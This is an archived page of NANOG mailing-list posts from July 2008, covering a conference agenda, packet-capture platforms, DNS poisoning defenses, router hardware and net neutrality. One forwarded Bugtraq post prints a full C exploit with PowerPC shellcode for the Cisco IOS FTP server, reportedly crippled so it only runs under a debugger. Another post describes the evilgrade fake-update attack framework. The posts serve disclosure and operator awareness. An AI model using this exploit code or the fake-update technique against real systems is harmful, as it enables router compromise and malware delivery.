July 2008 - NANOG - lists.nanog.org

[NANOG-announce] NANOG44 updated agenda, so register already
by Todd Underwood 30 Jul '08

30 Jul '08

<hat org="NANOG program committee" role="chair"> An updated agenda for NANOG44 has been posted at: http://nanog.org/mtg-0810/agenda.html you might notice that this NANOG features: * Keynote by Vint Cerf of Google * More tutorials than you can shake a stick at * A panel of Internet Luminaries addressing the current addressing situation from a historical perspective * A surfeit of IPv6 content (with some more likely before the event). * Lots of other great, operational presentations So I would humbly suggest that you (collectively) register for NANOG44 ( https://nanog.merit.edu/registration/ ) as quickly as possible. Discounted registration ends in less than two weeks, so save yourself $75 and get registered. You know you're going to go, so just go already. I would *strongly* suggest you reserve a hotel room if you have not already. The last several NANOGs all available discounted rooms in the room block have gone very quickly. ( http://nanog.org/mtg-0810/hotel.html ) Note that the program is now effectively full (there are 2-3 slots left that are saved for conditionally accepted talks that are already in progress or any presentations dealing with late-breaking events, but the event would have to be exceptionally significant and interesting). If you didn't submit for this NANOG conference, please consider submitting a presentation for NANOG45. See y'all (that's "yinz" in Pittsburgh :-) in LA. t. </hat> -- _____________________________________________________________________ todd underwood +1 603 643 9300 x101 renesys corporation general manager babbledog todd(a)renesys.com http://www.renesys.com/blog _______________________________________________ NANOG-announce mailing list NANOG-announce(a)nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce

1 0

Re: Hardware capture platforms
by Manish Karir 30 Jul '08

30 Jul '08

Hi John, You might want to check out www.opencalea.org. We have just released opencalea-lite which is a complete re-write of the original opencalea software. OpenCalea-lite is a much better and cleaner re-write(we learnt from our mistakes in the previous releases). One of the problems of the original version was that we were getting bogged down in details over the precise standard format instead of making the core more stable. OpenCalea-lite takes a step back form this and aims at doing well the essense of what packet taps should be able to. It has a nice clean tap/controller/collector architecture which is much more robust. Taps will register with the controller irrespective of which is started first. Process control has also been improved. Starting and stopping taps is handled in a much cleaner way. In addtion TCP streams are used to transfer data. We were about to send out an announcement regarding opencalea-lite on the opencalea(a)merit.edu mailing list. Aside from calea requirements opencalea-lite is actually a fairly good platform for running remote-taps in your network. -manish > Message: 4 > Date: Tue, 29 Jul 2008 16:10:09 -0700 (PDT) > From: "John A. Kilpatrick" <john(a)hypergeek.net> > Subject: Hardware capture platforms > To: nanog(a)merit.edu > Message-ID: <20080729155511.R42026(a)iama.hypergeek.net> > Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed > > > We've deployed a bunch taps in our network and now we need a platform > on > which to capture the data. Our bandwidth is currently pretty low but > I've got 8 links to tap, which means I need 16 ports. Has anyone done > any > research on doing accurate packet capture with commodity hardware? > > > -- > John A. Kilpatrick > john(a)hypergeek.net Email| http://www.hypergeek.net/ > john-page(a)hypergeek.net Text pages| ICQ: 19147504 > remember: no obstacles/only challenges >

1 0

Remote Cisco IOS FTP exploit (fwd)
by Gadi Evron 29 Jul '08

29 Jul '08

---------- Forwarded message ---------- Date: Tue, 29 Jul 2008 11:31:11 +0100 From: Andy Davis <iosftpexploit(a)googlemail.com> To: bugtraq(a)securityfocus.com Subject: Remote Cisco IOS FTP exploit Hi, The IOS FTP server vulnerabilities were published in an advisory by Cisco in May 2007. The FTP server does not run by default, it is not widely used and has since been removed from new versions of IOS. Therefore, I took the decision to release this exploit code in order to show that IOS can be reliably exploited to provide remote level 15 exec shell access. This clearly demonstrates that patching your router is just as important as patching your servers. To prevent its widespread abuse I have omitted a critical step which means that it will only work when the router is connected to a debugger - not something you are likely to encounter on the Internet Anyway, hopefully this will promote further IOS security research as there's plenty left to look at! Cheers, Andy /* Cisco IOS FTP server remote exploit by Andy Davis 2008 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router Removes the requirement to authenticate and escalates to level 15 ********************************************************************* To protect the innocent a critical step has been omitted, which means the shellcode will only execute when the router is attached to gdb. I'm sure the PowerPC shellcoders out there will work it out... ********************************************************************* Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent on the original IOS security research iosftpexploit <at> googlemail 'dot' com */ #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #define PORT 21 int main(int argc, char **argv) { unsigned char sendbuf[] = "MKD " /* .equ vty_info, 0x8182da60 # pointer to VTY info */ /* .equ terminate, 0x80e4086c # kill a process */ "\x3c\x80\x81\x83" /* lis 4,vty_info@ha */ "\x38\x84\xda\x60" /* la 4,vty_info@l(4) */ "\x7d\x08\x42\x78" /* xor 8,8,8 */ "\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */ "\x91\x07\x01\x74" /* stw 8,372(7) */ "\x39\x08\xff\xff" /* subi 8,8,1 */ "\x38\xe7\x09\x1a" /* addi 7,7,233 */ "\x91\x07\x04\xca" /* stw 8,1226(7) */ "\x7d\x03\x43\x78" /* mr 3,8 */ "\x3c\x80\x80\xe4" /* lis 4,terminate@ha */ "\x38\x84\x08\x6c" /* la 4,terminate@l(4) */ "\x7c\x89\x03\xa6" /* mtctr 4 */ "\x4e\x80\x04\x20" /* bctr */ /* exists cleanly without adversely affecting the FTP server */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x80\x06\x23\xB8" /* return address */ "\x0d\x0a"; /* trampoline code */ /* when the overflow occurs r26+0x14 points to the shellcode */ /* 0x800623B8 lwz 26, 20(26) 0x800623BC mtctr 26 0x800623C0 mr 3, 27 0x800623C4 bctrl */ unsigned char recvbuf[256]; struct sockaddr_in servaddr; int s; if (argc != 2) { printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("\nUsage: %s <target IP address>\n",argv[0]); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(argv[1]); servaddr.sin_port = htons(PORT); s = socket(AF_INET, SOCK_STREAM, 0); connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr)); printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n"); printf ("Sending exploit...\n\n"); if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0) { printf("Error sending packet...quitting\n\n"); exit (1); } recv (s, recvbuf, sizeof(recvbuf)-1,0); printf ("Now telnet to the router for a shell...\n\n"); }

1 0

Great Suggestion for the DNS problem...?
by Jay R. Ashworth 29 Jul '08

29 Jul '08

[ unthreaded to encourage discussion ] On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: > Nameservers could incorporate poison detection... > > Listen on 200 random fake ports (in addition to the true query ports); > if a response ever arrives at a fake port, then it must be an attack, > read the "identified" attack packet, log the attack event, mark the > RRs mentioned in the packet as "poison being attempted" for 6 hours; > for such domains always request and collect _two_ good responses > (instead of one), with a 60 second timeout, before caching a lookup. > > The attacker must now guess nearly 64-bits in a short amount of time, > to be successful. Once a good lookup is received, discard the normal > TTL and hold the good answer cached and immutable, for 6 hours (_then_ > start decreasing the TTL normally). Is there any reason which I'm too far down the food chain to see why that's not a fantastic idea? Or at least, something inspired by it? Cheers, -- jr 'IANAIE' a -- Jay R. Ashworth Baylink jra(a)baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin)

15 18

re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?
by Paul Vixie 29 Jul '08

29 Jul '08

this is for whoever said "it's just a brute force attack" and/or "it's the same attack that's been described before". maybe it goes double if that person is also the one who said "my knowledge in this area is out of date". grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr. re: -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean.

34 64

Re: Software router state of the art
by Seth Mattinen 29 Jul '08

29 Jul '08

Michael 'Moose' Dinn wrote: >> Thanks for being oh-so-helpful with a serious question. Got any useful >> answers for me? Give me a vendor that offers your suggestion. I don't have >> time for a make-it-myself solution. >> > > What are your requirements? > The problem I'm facing is that if I want something from Cisco that can do at least line-rate T3, I'm looking at least $20k per router. I don't have a uber-budget, so for me, that's kind of painful when I start to need more than one plus spare parts. But, I have a high level of confidence that I can put cards in, some memory, power it up, configure it and I'm good to go. Junpier's J-series is a BSD based platform as far as I understand it. ImageStream is *much* more affordable for me, but is Linux-based, and I fear Linux as a router and I don't know what they've done to fix the common gripes with Linux-as-router. I have no idea if either of the two have hardware assist in the cards, but my impression is that they are essentially software platforms with custom interface cards. Interface cards are important to me because I'm operating in an environment where my link to the outside world is probably going to be T1/T3. I'm aware of Cisco IOS, then BSD-based and Linux-based platforms that are actually sold as routing products. I also know there are a billion "yay, router!" things out there. T1 cards are easy to find. The only other place I know I could buy a T3 card from is Sangoma. Maybe someone has even used it* T3 card before. Rather than reinvent the wheel alone, nanog has to contain the highest concentration of people that have tried various things and already know what will work and what won't work. I'm not looking for OS politics, just operational experience from people who have access to more money and more hardware than I do to have tried more stuff. If my best option is still from the big players, so be it. If there's something else that's just as stable, I want to hear about it. I'm not adverse to some dirty work, but I just don't have the time right now to jump in over my head into a software router project and then fight my way back to the surface. I'm not trying to create something for educational purposes, I need something suitable for a production environment. ~Seth * http://www.sangoma.com/products_and_solutions/hardware/data_only/a301.html

8 9

Off topic - RE: So why don't US citizens get this?
by nancyp＠yorku.ca 29 Jul '08

29 Jul '08

Grad Student thesis rsrch one page: comments welcome ;) however I have my good comments filter on... Is Internet Reachability a Net Neutrality Issue? ----CRTC Chairperson Konrad von Finckenstein introduced Net Neutrality in his speech to the 2007 Broadcasting Invitational Summit and again at the 2008 Canadian Telecom Summit mentioning that the CRTC's New Media Initiative will include "striking a social, cultural and economic balance to deal with Internet traffic prioritization". ----Traffic prioritization or traffic shaping is a small part of the entire concept of a neutral network. ----The internet has no minimum standard of acceptable performance for reachability of websites and data. As an information tool it becomes useless without this reachability addressed as far as possible. ----The most famous example of non-neutrality in Canada occurred during the Telus labour dispute (2005). Telus blocked access to a pro-union site by blocking the server on which it was hosted. Researchers at Harvard, Cambridge and the University of Toronto (OpenNet Initiative) found that Teluss actions resulted in an additional 766 unrelated sites also being blocked for subscribers. Dealing with blocking access to servers and blocking access to other networks are very important aims of a neutral internet. ----Example: A York University professor was sitting at his desk at work in March 2008 trying to reach an internet website located somewhere in Europe. It was important to his research so when he repeatedly could not reach the site he contacted his IT department at the University. They were mystified why this would be the case. The Professor went home after work and found that he could reach the website from home consistently, for many days and was not ever able to reach the website from the University campus network.Yorks bandwidth supplier is Cogent which had severed a peering relationship with a bandwidth provider in Europe called Telia, which was the bandwidth network provider for the website that the Professor was trying to reach. However at home, the Professor purchased bandwidth from Rogers (and its upstream providers) who did not sever their peering relationship with Telia. Cogent did not proactively inform the University of the issue and the loss of connectivity. Unreachability due to arbitrariness in network peering is unacceptable. ----Parts of the internet become unreachable for a great many reasons such as line failure, cable cuts, misconfiguration of equipment and human error but to add significantly and deliberately to this unreachability due to arbitrariness in peering is unacceptable. End users whether award winning scholars, backyard astronomers or teenage scientists require as much reachability of data as the technology will allow. Political and economic persuasions should not be permitted to condition and alter the media or the content. ----Recommendation: Bandwidth purchase agreements (Service Level Agreements) that specify bandwidth, uptime and cost actually define connectivity thus they should contain a list of peers or network interconnections that will be maintained for the length of the agreement. Prepared by Nancy Paterson, York University July 23, 2008 nancyp(a)yorku.ca PS anyone willing to proof read a few technical pages of thesis paper? pls contact off list

9 11

RE: So why don't US citizens get this?
by natalidel＠mailinator.com 28 Jul '08

28 Jul '08

Randy Bush <<a href="mailto:nanog%40nanog.org?Subject=So%20why%20don%27t%20US%20citizens%20get%2…" title="So why don't US citizens get this?">randy(a)psg.com> at Sun Jul 27 08:18:20 UTC 2008 said:</a> > shoot the messenger, eh? <pre>> the fact is that real 100m/100m is about USD30/mo in japan. in the > states, i pay about USD90 for 256k/768k. as far as the internet is > concerned, the united states is a third world country. > > randy This is exactly my point, why is it that the US is so behind??? </pre> -- No, this email's not real, it's http://deadfake.com

20 23

Missing URL is here (was: So why don't US citizens get this?)
by michael.dillon＠bt.com 28 Jul '08

28 Jul '08

As I was saying... > Here in London they even steal bronze statues or brass > railings in a park to get the copper content. Here is one > account of the risks that copper thieves will go to. Don't > read it if you have a queasy stomach. <http://www.yorkshireeveningpost.co.uk/news/11000-volt-horror-death-for. 4253973.jp> --Michael Dillon

1 0

Possible prod to people to upgrade DNS
by Tuc at T-B-O-H.NET 28 Jul '08

28 Jul '08

Hi, The demo takes a while to load, goes fast, but shows how the exploit for DNS can potentially be used to get into a persons machine w/o them even being involved. Tuc/TBOH Forwarded message: > > -- ISR - Infobyte Security Research > -- | ISR-evilgrade | www.infobyte.com.ar | > > ISR-evilgrade: is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates. > > * How does it work? > > It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems. > Evilgrade needs the manipulation of the victim dns traffic. > > Attack vectors: > --------------------- > > Internal scenary: (Internal DNS access,ARP spoofing,DNS Cache Poisoning, DHCP spoofing) > External scenary: (Internal DNS access,DNS Cache Poisoning) > > * What are the supported OS? > > The framework is multiplaform, it only depends of having the right payload for the target platform to be exploited. > > Implemented modules: > --------------------------------- > - Java plugin > - Winzip > - Winamp > - MacOS > - OpenOffices > - iTunes > - Linkedin Toolbar > - DAP [Download Accelerator] > - notepad++ > - speedbit > > ..:: DEMO > > Demo feature - (Java plugin + Dan Kaminsky�s Dns vulnerability) = remote pwned. > http://www.infobyte.com.ar/demo/evilgrade.htm > > ..:: AUTHOR > > Francisco Amato > famato+at+infobyte+dot+com+dot+ar > > ..:: DOWNLOAD > > http://www.infobyte.com.ar/developments.html > > > ..:: MORE INFORMATION > > Presentation: > http://www.infobyte.com.ar/down/Francisco-Amato-evilgrade-ENG.html > >

1 0